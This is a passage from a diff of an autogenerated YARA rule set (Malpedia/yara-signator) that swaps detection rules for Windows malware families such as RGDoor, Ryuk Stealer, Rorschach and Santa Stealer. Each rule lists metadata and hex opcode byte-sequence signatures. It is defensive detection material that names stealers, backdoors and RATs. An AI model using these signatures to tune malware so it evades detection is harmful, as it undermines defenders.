8b46fc 57 } + $sequence_5 = { c745ec00000000 50 8d45ec c745e404000000 50 } + $sequence_6 = { 85c0 0f84af000000 6a04 6800100000 } + $sequence_7 = { 8b3e 8b4630 48 f7d0 } + $sequence_8 = { 6af6 ff15???????? 8b04bd984e4100 834c0318ff 33c0 } + $sequence_9 = { f00fc118 4b 7515 8b45fc 817848f8444100 7409 } condition: - 7 of them and filesize < 174080 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Rgdoor_Auto : FILE +rule MALPEDIA_Win_Onliner_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2eb99ad7-9e75-5845-969c-c304a1478e04" + id = "e266190c-77cd-5e00-b175-da1e4e33561c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rgdoor_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onliner_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fb170bfaa8b6f4f88bfae97b02b3770495bd4a9f8715b2816fb97989dc207528" + logic_hash = "c9e55a1b6192aded12d9bdf9f70d961ece286b9f8d470b491a50250894e58dcc" score = 75 quality = 75 tags = "FILE" @@ -96790,71 +97040,71 @@ rule MALPEDIA_Win_Rgdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d0dbe380200 4c8b442448 488b542438 488b4c2440 83bc24c800000000 7413 } - $sequence_1 = { 488d0d53170100 e8???????? 85c0 754a 488d0d774a0000 e8???????? 488d152f170100 } - $sequence_2 = { ff15???????? 488d15e3580100 483305???????? 488bcb 488905???????? ff15???????? 488d15e5580100 } - $sequence_3 = { 4c8d25d8310200 83e01f 4c6bf858 498b04fc 420fbe4c3808 83e101 7449 } - $sequence_4 = { 488d4c2420 41b801000000 4889442458 e8???????? 488d05e6840100 488d154f530200 488d4c2420 } - $sequence_5 = { e8???????? 4c8bf8 4889842488000000 4885c0 } - $sequence_6 = { 4863ca 0fb7444b0c 6641898448c0410300 ffc2 ebe2 8bd7 } - $sequence_7 = { e8???????? 488bf0 488b8de0000000 48635104 } - $sequence_8 = { e9???????? 488d8a98000000 e9???????? 488d8ae0010000 e9???????? 488d8a60000000 e9???????? } - $sequence_9 = { 4c8d3d6c3c0100 4c8d6738 4c8d05e13d0100 488bd3 498bce e8???????? } + $sequence_0 = { ff15???????? 8bf0 85f6 0f85ab000000 8b45f8 8945f4 e9???????? } + $sequence_1 = { 58 e8???????? 0f8436010000 a1???????? e8???????? 3c01 7412 } + $sequence_2 = { 058a4c2a8d ba14000000 e8???????? 03c7 8bf0 8bc7 33c6 } + $sequence_3 = { 8910 33c0 8ac3 8d448604 8b17 e8???????? 8b17 } + $sequence_4 = { e8???????? ff75ec 8b45fc e8???????? 0fb7c0 8d55e4 e8???????? } + $sequence_5 = { eb41 83c0bf 83e81a 7225 83c0fa 83e81a } + $sequence_6 = { 837df800 750f 8bc3 8b55fc e8???????? e9???????? 8b45f8 } + $sequence_7 = { 8bd7 e8???????? 8b0424 833800 742e 8b0424 } + $sequence_8 = { 8993b4010000 8d8398000000 e8???????? 8d9398000000 8b83b4010000 e8???????? 8bc3 } + $sequence_9 = { 8bcf 83e11f c1e106 8b048560f94c00 c644080401 57 e8???????? } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 1736704 } -rule MALPEDIA_Win_Rorschach_Auto : FILE +rule MALPEDIA_Win_Socksproxygo_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "11b24b2d-bfea-5a8c-988f-bea7ea32170c" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rorschach" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rorschach_auto.yar#L1-L134" + id = "ca75341b-6658-565f-95d6-74f231ce44e9" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socksproxygo" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socksproxygo_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3819d2826273a95ad95ce552fb76b197f4eb30ddd0b4d089208f0442591f4b17" + logic_hash = "dae101b13021abf8406ff6df83b23a76fef8534b33d21e36035ee793df6e14d3" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f30f6f440420 f30f6f0c28 660fefc8 f30f7f0c30 418d40f0 f30f6f440420 f30f6f0c28 } - $sequence_1 = { e8???????? 8885f6050000 b261 488d8d70050000 e8???????? 8885f7050000 33d2 } - $sequence_2 = { ff15???????? 85c0 7414 488b4c2438 4c8d442444 488d5570 ff15???????? } - $sequence_3 = { eb04 33c0 8bd8 b978110000 e8???????? 488bf8 48894540 } - $sequence_4 = { 488d4d28 e8???????? 884529 33d2 488d4d28 e8???????? 88452a } - $sequence_5 = { 488d8d00010000 e8???????? 88850f010000 33d2 488d8d00010000 e8???????? 888510010000 } - $sequence_6 = { e8???????? 488d8598070000 488985b80c0000 c6454069 b273 488d4d40 e8???????? } - $sequence_7 = { 48897820 488b05???????? 4833c4 488985f0020000 bae9030000 ff15???????? 488bf0 } - $sequence_8 = { e8???????? 8885d7060000 33d2 488d8dd0060000 e8???????? 8885d8060000 b26b } - $sequence_9 = { 8885f60b0000 b23c 488d8d300b0000 e8???????? 8885f70b0000 33d2 488d8d300b0000 } + $sequence_0 = { e9???????? 48ffc6 4c89d1 4889d7 488b542448 4885c9 0f84ec000000 } + $sequence_1 = { e9???????? 4c8b9424e8010000 0f1f00 4d85d2 742b 498b02 498b5a08 } + $sequence_2 = { eb08 488bb42420010000 48899424a0000000 4889b424a8000000 488bbc24a0000000 4885ff 7421 } + $sequence_3 = { eb3a 498b02 498b5a08 498b4a10 488b942408020000 488b3a 488b7208 } + $sequence_4 = { 90 488d05c3392300 0f1f00 e8???????? 488b942418010000 48895008 833d????????00 } + $sequence_5 = { c64424216b c744242200000203 66c74424260202 31c0 eb1a 440fb64c341d 418d1411 } + $sequence_6 = { 4989c0 4989ca 488b842420020000 41c6043805 b901000000 e9???????? 4983fb01 } + $sequence_7 = { e8???????? 488bac24f8000000 4881c400010000 c3 e8???????? e8???????? 4889c3 } + $sequence_8 = { 7331 488d05b4513000 4889d9 4889fb 4889f7 4c89c6 e8???????? } + $sequence_9 = { c7442464345c35c5 c7442467c5fab82a 31c0 e9???????? 488b9424a8000000 4885d2 b801000000 } condition: - 7 of them and filesize < 3921930 + 7 of them and filesize < 14221312 } -rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE +rule MALPEDIA_Win_Unidentified_109_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5ce42c56-7196-5dab-bbf5-f82410a1858c" + id = "b6061e05-3237-58ca-ad8b-3aa8b32dd728" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ryuk_stealer_auto.yar#L1-L110" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_109_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "577b17a6c0c9d94113328d94349dd787eb11b2a9bf82279881b6744cc074e6ff" + logic_hash = "d68f70d66f63488c08e0a968d9091c8e5c1c07bcbe7d2942849c574944ebfcba" score = 75 quality = 75 tags = "FILE" @@ -96868,34 +97118,34 @@ rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bcb e8???????? 3bc7 7552 } - $sequence_1 = { 05???????? 50 8d85b4fdffff 50 e8???????? } - $sequence_2 = { 8bcb 0f44f2 42 8d7902 } - $sequence_3 = { 83f801 7410 83ff01 755d } - $sequence_4 = { 8a443706 3c2f 7404 3c2d } - $sequence_5 = { b9a0860100 f7f9 81c2f8240100 52 ff15???????? } - $sequence_6 = { 668945ec 8945ee 668945f2 8d45e0 50 } - $sequence_7 = { 81c2f8240100 52 ff15???????? 46 } - $sequence_8 = { e8???????? 99 b9a0860100 f7f9 81c2f8240100 52 ff15???????? } - $sequence_9 = { 75f4 a1???????? 8907 eb38 } + $sequence_0 = { 8bc8 d1e8 410bc1 83e101 41ffc8 894204 448bc9 } + $sequence_1 = { 488bd9 418bf9 498bf0 448bd2 b1e4 85d2 } + $sequence_2 = { 418bc8 0bcb 41c1c01e 418bd1 4123cb c1c205 0bc8 } + $sequence_3 = { 410fb7c0 6641ffc0 c644080433 664585c9 0f84e0000000 410fb7c0 6641ffc0 } + $sequence_4 = { ffc8 410f48c6 4585c0 7e38 4898 660f1f440000 493bc6 } + $sequence_5 = { 0fb6d2 83e27f 8d041a 3bc6 0f8742010000 85d2 7416 } + $sequence_6 = { 7453 85db 744b 48897c2430 0f1f4000 498d8ef8000000 488bd6 } + $sequence_7 = { 488945d0 488945d8 488945e0 488d4de8 498bd9 418bf6 4c8975f8 } + $sequence_8 = { 790a c705????????00000000 488d0dfaf80400 ff15???????? 85db 488b5c2420 7441 } + $sequence_9 = { 8bc1 448bc1 2bc6 03c2 413bc1 77de 03ca } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 723968 } -rule MALPEDIA_Win_9002_Auto : FILE +rule MALPEDIA_Win_Webc2_Rave_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bbbd19a8-8d59-5fa3-924d-0a65e7bf4ff6" + id = "8b8abe54-80f5-58ec-90da-b83888b1df6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.9002_auto.yar#L1-L337" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_rave" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_rave_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "b28ab37244f22455bfd7ab977eaff5de257e54ee69c7d856b3cc5dc49768b368" + logic_hash = "af650f13ddb6ad439bdfa3dda339af75bc74ce9074c6268554058b1c377beaa8" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -96907,60 +97157,32 @@ rule MALPEDIA_Win_9002_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2d00040000 f7d8 1bc0 23c2 } - $sequence_1 = { 68???????? ff15???????? 6a0a ff15???????? e9???????? } - $sequence_2 = { 89bef8030000 ff15???????? 8986fc030000 ff15???????? 898600040000 } - $sequence_3 = { 83c0fc 50 53 e8???????? } - $sequence_4 = { 03c3 8b00 5b ffd0 } - $sequence_5 = { 6a02 83c144 6800000040 51 } - $sequence_6 = { 8bc1 33c9 894808 894810 8910 c7400c01000000 } - $sequence_7 = { 57 8bf1 50 6801020000 c706???????? e8???????? 8d4604 } - $sequence_8 = { 2bd0 3bfa 760d 85c0 7504 } - $sequence_9 = { 6a02 ff15???????? 68???????? ff15???????? 6a00 6a00 6a00 } - $sequence_10 = { 0ac8 80c910 880e 8ac2 } - $sequence_11 = { 6a02 6a03 6a00 e8???????? } - $sequence_12 = { 8b5c2408 6bdb08 03c3 8b00 } - $sequence_13 = { 33c9 3bc8 1bd2 f7da 8915???????? } - $sequence_14 = { 682c010000 50 ffd3 3d02010000 } - $sequence_15 = { 51 e8???????? 6a06 6a01 6a02 e8???????? } - $sequence_16 = { 8b08 51 e8???????? 8b5714 } - $sequence_17 = { 8b460c 40 33d2 f77614 ff4610 } - $sequence_18 = { e8???????? 50 e8???????? 6a08 e8???????? } - $sequence_19 = { 46 c1ea06 8816 46 } - $sequence_20 = { 56 89442418 ff15???????? a820 } - $sequence_21 = { 8b01 ff5010 8b7614 ff4e0c } - $sequence_22 = { c7422c00000200 8b4648 c7402801000000 8b4648 } - $sequence_23 = { 742e 85f6 7419 0fb6da f683c1d4001004 7406 8816 } - $sequence_24 = { 7622 8b4558 83f805 7316 8a0b } - $sequence_25 = { 8b7c240c 57 8bf1 e8???????? 33d2 } - $sequence_26 = { 894608 ff15???????? 8d4c2414 885c243c ff15???????? 8bc6 8b4c2434 } - $sequence_27 = { 8b4648 689a000000 6a00 50 } - $sequence_28 = { 8d4c240c 8d542418 6a05 8944241c 51 } - $sequence_29 = { 8bf1 8b4610 57 33ff 897e08 } - $sequence_30 = { 8bf8 6a40 6800100000 57 6a00 ff15???????? 8d4df8 } - $sequence_31 = { c3 b8???????? c705????????772b0010 a3???????? } - $sequence_32 = { ff15???????? 8bf8 85ff 7529 ff15???????? 8b560c 52 } - $sequence_33 = { 8b5c247c 55 56 8bb4248c000000 57 8b3b 8b2e } - $sequence_34 = { 52 ffd5 c7460c00000000 8b460c } - $sequence_35 = { 6689bc5a80010000 83c30c 895c2424 e9???????? } - $sequence_36 = { 8b4e04 83c108 33f6 668931 66897102 89510c } - $sequence_37 = { ff15???????? 8bf8 6a40 6800100000 } + $sequence_0 = { 8dbc24b0040000 83c9ff f2ae 8b06 8d9424b0040000 f7d1 } + $sequence_1 = { 8b742410 8bc6 85f6 89442418 } + $sequence_2 = { f3ab 85db aa 7464 eb06 8b35???????? } + $sequence_3 = { 83c410 f3ab aa 8d8424a0020000 50 6804010000 } + $sequence_4 = { c784248800000001010000 66899c248c000000 89842498000000 8984249c000000 ffd7 8b542420 50 } + $sequence_5 = { 81fb00040000 c644241300 0f87b4000000 b980000000 33c0 8dbc242c010000 } + $sequence_6 = { 42 56 51 8915???????? } + $sequence_7 = { 8b8c2410020000 33c0 8bd0 83e20f 40 } + $sequence_8 = { aa ffd5 83c410 8d842490000000 8d8c24a8030000 } + $sequence_9 = { e8???????? 83c404 85c0 0f848d000000 33c9 33d2 894c2410 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Fakeword_Auto : FILE +rule MALPEDIA_Win_Mediapi_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "83704e50-1dbd-5c9a-b83f-e831a9bf7880" + id = "93eb6857-89ab-509f-a3db-521b6138e920" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fakeword" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fakeword_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mediapi" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mediapi_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "109b39226f4f475b4c3e023db9ba2c26fa6ab8a72ccbfd12335d1989ed05d36a" + logic_hash = "62d55dbda71843c208580e1ce14906c348dc561d976d6517a9642b390fe58aad" score = 75 quality = 75 tags = "FILE" @@ -96974,32 +97196,32 @@ rule MALPEDIA_Win_Fakeword_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750d 381c08 7408 8bd1 8915???????? 8a0408 3ac3 } - $sequence_1 = { 89442418 33c0 8a07 50 } - $sequence_2 = { 03ce 0fbe540cd8 52 68???????? 50 ff15???????? 83c40c } - $sequence_3 = { 41 81f900010000 89448afc 7cd4 } - $sequence_4 = { 83e210 f3ab 80fa10 c684246c02000007 743d 8d442458 } - $sequence_5 = { 83f804 7519 56 6a07 8d442418 } - $sequence_6 = { 3a5418ff 750b 83f801 7459 3a5418fe 7453 40 } - $sequence_7 = { 8b6c2420 8b4c2430 8b5c2434 41 83c304 83f908 894c2430 } - $sequence_8 = { c3 8b4c241c 56 51 e8???????? 8b442414 } - $sequence_9 = { 85ff 7446 8b7010 8b042f 03fd 03f5 } + $sequence_0 = { 89c1 e8???????? 8045ff01 ebc3 } + $sequence_1 = { 4898 488d95c0010000 41b900000000 41b8d0470000 4889c1 488b05???????? ffd0 } + $sequence_2 = { 488b5510 884209 488b5510 0fb645ff 88420d } + $sequence_3 = { 8345fc01 837dfc3b 0f86cdfdffff 90 4883c420 5d c3 } + $sequence_4 = { 88420b 488b5510 0fb645ff 884207 90 4883c410 } + $sequence_5 = { 4889f1 ffd0 488b5b10 4885db 75dc 488d0d35600000 4883c428 } + $sequence_6 = { 0fb645db 0fb6c0 c1f802 83e00f 01d0 } + $sequence_7 = { 90 488d0506700000 8b00 4898 488d9540010000 41b810000000 } + $sequence_8 = { 8845de 0fb645db 0fb6c0 c1e006 89c2 0fb645dc 01d0 } + $sequence_9 = { 8b05???????? c1e010 4898 48394518 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 246784 } -rule MALPEDIA_Win_Miya_Rat_Auto : FILE +rule MALPEDIA_Win_Unidentified_068_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b014bac2-07d1-5fef-bdcc-2e598306fac3" + id = "00ed8246-d247-5890-b70c-9dc2bd82550a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miya_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miya_rat_auto.yar#L1-L191" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_068_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "98cc52272c83937733d9eba2aa0b9bb5ed8cab147dbc386514a5033d544b9bd7" + logic_hash = "fa30d57049b9c1bba68e7061433a03b7496f06c6df4edaee3b08ded2533d6885" score = 75 quality = 75 tags = "FILE" @@ -97013,38 +97235,32 @@ rule MALPEDIA_Win_Miya_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f84fa0f0000 83ec08 0fae5c2404 8b442404 25807f0000 3d801f0000 750f } - $sequence_1 = { 0fbf45fc c9 c3 8bff 55 8bec 83ec18 } - $sequence_2 = { 68a00f0000 ff15???????? 6a00 6a00 6a00 6a06 6a01 } - $sequence_3 = { 7541 d9ec d9c9 d9f1 833d????????00 0f854c0d0000 } - $sequence_4 = { 5d e9???????? 8bff 55 8bec b8ffff0000 83ec14 } - $sequence_5 = { 8bc6 5e 5d c20400 e8???????? cc 56 } - $sequence_6 = { 8d642408 0f85c90f0000 eb00 f30f7e442404 660f2815???????? 660f28c8 660f28f8 } - $sequence_7 = { 75be ddd8 db2d???????? b802000000 833d????????00 0f85e00c0000 } - $sequence_8 = { 4889742418 57 4883ec20 488d05da910700 33f6 488901 488b4108 } - $sequence_9 = { e9???????? 488d8a48000000 e9???????? 488d8a40010000 e9???????? 488d8ab0010000 e9???????? } - $sequence_10 = { 4c8bc7 89742428 33d2 b9e9fd0000 4889442420 ff15???????? 0f10442450 } - $sequence_11 = { 4533c0 488bd6 488d4dc7 e8???????? 488b7ddf 4533e4 eb67 } - $sequence_12 = { 0f57c9 f30f7f4d40 488d4d40 e8???????? 488d4d40 e8???????? } - $sequence_13 = { 0f1145c7 4c8965d7 48897ddf 66448965c7 488d7160 48897597 44386168 } - $sequence_14 = { 0f57c0 488d5308 48890b 488d4808 0f1102 e8???????? 488d0588aa0600 } - $sequence_15 = { 90 44897608 488d0554590500 488906 488937 488d4dd7 e8???????? } + $sequence_0 = { 8d3403 8bd6 c1fa06 8bce 83e13f 6bc930 8b049518c94500 } + $sequence_1 = { 51 ff5008 ffb56cffffff e8???????? 59 8d8d2cffffff e8???????? } + $sequence_2 = { 894dfc 57 8bd1 33ff 53 8d8dfcfeffff e8???????? } + $sequence_3 = { 897de8 8945d8 8b458c 2b8564ffffff 8945dc 6a08 e8???????? } + $sequence_4 = { 85c9 7904 33c0 5d c3 ff7510 } + $sequence_5 = { 0fafc1 3bf0 7314 8bf8 b800080000 2bc1 c1e805 } + $sequence_6 = { 83bf304b000002 744d 8b4d1c 85c9 7422 8b473c 2b4744 } + $sequence_7 = { e8???????? 6a10 83faff 8d4f28 58 0f45c2 } + $sequence_8 = { b800080000 2bc2 c1e805 03c2 66894312 6a02 eb14 } + $sequence_9 = { 6a2a 8d4dcc e8???????? 57 ff75cc 8d4dec e8???????? } condition: - 7 of them and filesize < 1238016 + 7 of them and filesize < 862208 } -rule MALPEDIA_Win_Rcs_Auto : FILE +rule MALPEDIA_Win_Yoddos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "88c200d0-341d-5e6f-ae92-f6d74505595f" + id = "10bd6a04-5d32-593e-bba9-9dd8c0a017eb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rcs_auto.yar#L1-L178" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yoddos_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "3382bc9aa5e79b7f4a031deda04f3ba8bd2d1a1f1a24d3ec268d1e68154c00c2" + logic_hash = "2bcf30b4ceb2923df5d8477756a290466d01852078cc1f43ff184eee0a076cc3" score = 75 quality = 75 tags = "FILE" @@ -97058,42 +97274,34 @@ rule MALPEDIA_Win_Rcs_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c430 6aff 68???????? } - $sequence_1 = { 89442456 8944245a 8944245e 89442462 89442466 8944246a } - $sequence_2 = { ff15???????? 5f 5e 5d 5b 33c0 } - $sequence_3 = { 85ff 0f84d4000000 57 e8???????? } - $sequence_4 = { 40 68???????? 50 e8???????? 83c40c eb0d } - $sequence_5 = { 6a00 6880000000 6a01 6a00 6a05 } - $sequence_6 = { 83fd03 7c89 8b7c243c 33ed } - $sequence_7 = { 6a20 6a01 6a0a 6a11 ff5660 8bbedc000000 } - $sequence_8 = { 8bbedc000000 8bbf14120000 89da 81e2ffff0000 c1e204 } - $sequence_9 = { 89473c 8b7d08 8b37 81c6a1010000 } - $sequence_10 = { e8???????? 83c41c 8d4d80 83c8ff } - $sequence_11 = { c9 c3 55 89e5 81ec04020000 } - $sequence_12 = { 81f2be387d15 e9???????? 8be5 c1cead } - $sequence_13 = { 83fd02 7c2d 8b07 8d54300c 3b11 7350 03c6 } - $sequence_14 = { 898528f4fbff 8b86dc000000 833800 0f94c0 83e001 } - $sequence_15 = { 81f2d141ed35 f8 f5 d1ca } - $sequence_16 = { 817deca4000000 72c2 56 e8???????? } - $sequence_17 = { ffb56cf4fbff ffb584f4fbff ffb5a0f9fbff 8b86dc000000 8b5020 03905c020000 52 } + $sequence_0 = { e8???????? 034508 57 53 894508 8d85d0feffff 50 } + $sequence_1 = { e8???????? 59 59 50 ff75bc ff75b8 e8???????? } + $sequence_2 = { 83c44c 8d85bcf6ffff 50 8d85bcfaffff } + $sequence_3 = { c68530ffffff77 c68531ffffff77 c68532ffffff77 c68533ffffff2e } + $sequence_4 = { c645e374 c645e465 c645e546 c645e669 } + $sequence_5 = { 50 e8???????? 8d85c8feffff 50 e8???????? 83c410 } + $sequence_6 = { c645db54 c645dc45 c645dd4d c645de5c c645df43 c645e075 c645e172 } + $sequence_7 = { c645fa74 c645fb6c 885dfc c645e857 c645e953 c645ea32 c645eb5f } + $sequence_8 = { ffd7 8d8d58ffffff 8945fc 51 50 c68558ffffff49 c68559ffffff6e } + $sequence_9 = { 7e06 897db4 8945ac 8d8548feffff 50 } condition: - 7 of them and filesize < 11501568 + 7 of them and filesize < 557056 } -rule MALPEDIA_Win_Miniasp_Auto : FILE +rule MALPEDIA_Win_Hyperssl_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dd001a5f-6edc-54d2-8944-1f96a2068de8" + id = "6f22636e-fb9b-5862-8e11-c3c097a8328b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniasp_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hyperssl_auto.yar#L1-L220" license_url = "N/A" - logic_hash = "d2281d1c5f13ba61fe4f1a7571230cd90a3ba2e219ba542805e8f7cc31494450" + logic_hash = "373cb8242b6edc99bdda77d7fa35bccbbf94de7d502bb63cf5e16d60e54a0b5d" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -97105,32 +97313,46 @@ rule MALPEDIA_Win_Miniasp_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4de8 e8???????? 0fb6c0 85c0 742f 8b45e8 } - $sequence_1 = { 8a8d7bffffff 8808 8b4584 40 894584 8b4580 40 } - $sequence_2 = { 75ef 8b45a0 2b459c 894594 6800000010 ff7594 ff7510 } - $sequence_3 = { 8b45bc ffb0b4000000 8b45bc ffb088000000 8d4dfb e8???????? 8945fc } - $sequence_4 = { 8b45f0 ffb088000000 e8???????? 83c40c 837df800 7463 } - $sequence_5 = { 33c0 40 e9???????? 8b4510 25ffff0000 0fb7c0 8945b4 } - $sequence_6 = { 8b4dfc c6040820 8b45fc 40 8945fc } - $sequence_7 = { 7432 68???????? 8b45f8 ffb0e8000000 e8???????? 59 59 } - $sequence_8 = { 807ddf00 741f 8b45e0 8a4001 8845de 8b4de4 } - $sequence_9 = { 33c0 8b7df8 83c742 ab ab ab ab } + $sequence_0 = { 742a 8b4028 03c1 7423 56 57 b9???????? } + $sequence_1 = { 40 4f 75f2 5f 5e e9???????? } + $sequence_2 = { 0108 8b4830 3308 56 } + $sequence_3 = { 0101 014514 2bf3 8b5d0c c7472400000000 } + $sequence_4 = { 0108 3908 1bc9 f7d9 } + $sequence_5 = { e8???????? 33c0 40 5d c20c00 6a08 } + $sequence_6 = { 5d c20c00 6a08 68???????? e8???????? 8b450c } + $sequence_7 = { 8bc8 85c9 7436 8b413c 03c1 } + $sequence_8 = { 0105???????? 8d8d5cffffff 89855cffffff 898560ffffff } + $sequence_9 = { 5e e9???????? c3 55 8bec } + $sequence_10 = { 0108 894810 8b4830 3308 } + $sequence_11 = { 8a10 301401 8a10 301406 40 4f } + $sequence_12 = { 2bc8 2bf0 5f 8a10 } + $sequence_13 = { 0108 3310 c1c607 c1c210 } + $sequence_14 = { 0105???????? 8d558c 89458c 894590 } + $sequence_15 = { 33c9 46 2bc3 8944240c 8b5c241c 8d440c2c 0fb61c03 } + $sequence_16 = { 017e0c 8d4d08 e8???????? 5f } + $sequence_17 = { 01442428 8b442428 884500 45 } + $sequence_18 = { 016b08 897b04 5f 5e } + $sequence_19 = { 017e0c 395e10 740f ff7610 } + $sequence_20 = { 011d???????? 5f 8935???????? 5e } + $sequence_21 = { 017e0c 5f 8bc6 5e c20800 } + $sequence_22 = { 017e08 50 e8???????? ff0d???????? } + $sequence_23 = { 017e08 8bc3 e8???????? c20400 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 835584 } -rule MALPEDIA_Win_Tropidoor_Auto : FILE +rule MALPEDIA_Win_Santa_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8fc3955f-94d9-559f-8d24-ed4a0dad546e" + id = "698b58d7-3beb-5b12-b9ab-ea8db82a9446" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tropidoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tropidoor_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.santa_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.santa_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0cca80e99bb2477fcd1d7242d291a5d298649d488754cf8d2858779b90f27265" + logic_hash = 